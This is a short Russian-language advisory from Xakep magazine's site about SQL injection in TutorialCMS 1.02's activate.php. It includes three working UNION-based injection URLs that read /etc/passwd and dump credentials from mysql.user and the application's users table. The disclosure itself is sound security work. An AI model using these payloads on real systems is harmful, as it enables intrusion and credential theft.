Витрина продуктов

Все продукты →
  • Подписка на «Хакер»

    Все статьи, архив и бонусы

    6000 ₽ / год

    Оформить
  • Печатный журнал

    Легендарный в твоём формате

    710 ₽ / номер

    Купить
  • Онлайн-курсы

    Практические навыки от экспертов

    от 9000 ₽

    Выбрать

Программа: TutorialCMS 1.02

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием activate.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

/etc/password:
http://[host]/activate.php?userName='/* */union/**/select/**/1,2,3,4,load_file(0x2f6574632f706173737764), 6,7,8,9,9,9,9,9/*

Имя и пароль пользователя из mysql.user:
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user, 0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/mysql.user/*

http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4, concat(0x757365723a20,username,0x20706173733a20,password),6 ,7,8,9,9,9,9,9/**/from/**/users/*
 

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии